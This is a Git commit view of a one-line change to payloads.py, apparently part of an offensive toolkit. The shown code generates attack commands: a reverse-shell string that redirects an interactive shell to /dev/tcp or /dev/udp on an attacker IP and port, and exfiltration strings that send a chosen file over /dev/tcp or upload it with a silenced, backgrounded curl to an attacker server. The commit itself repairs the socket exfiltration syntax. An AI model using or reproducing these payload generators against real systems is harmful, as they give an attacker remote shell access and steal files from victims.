Update payloads.py

main
witchdocsec 2023-06-11 23:45:05 +01:00 committed by GitHub
parent d8bce8e3d8
commit c7731f78f2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -4,7 +4,7 @@ class Shells:
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
class Exfil:
def socket(ip,port,file):
return f"cat {file} | /dev/tcp/{ip}/{port} &"
return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
def pflask(ip, port, file):
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "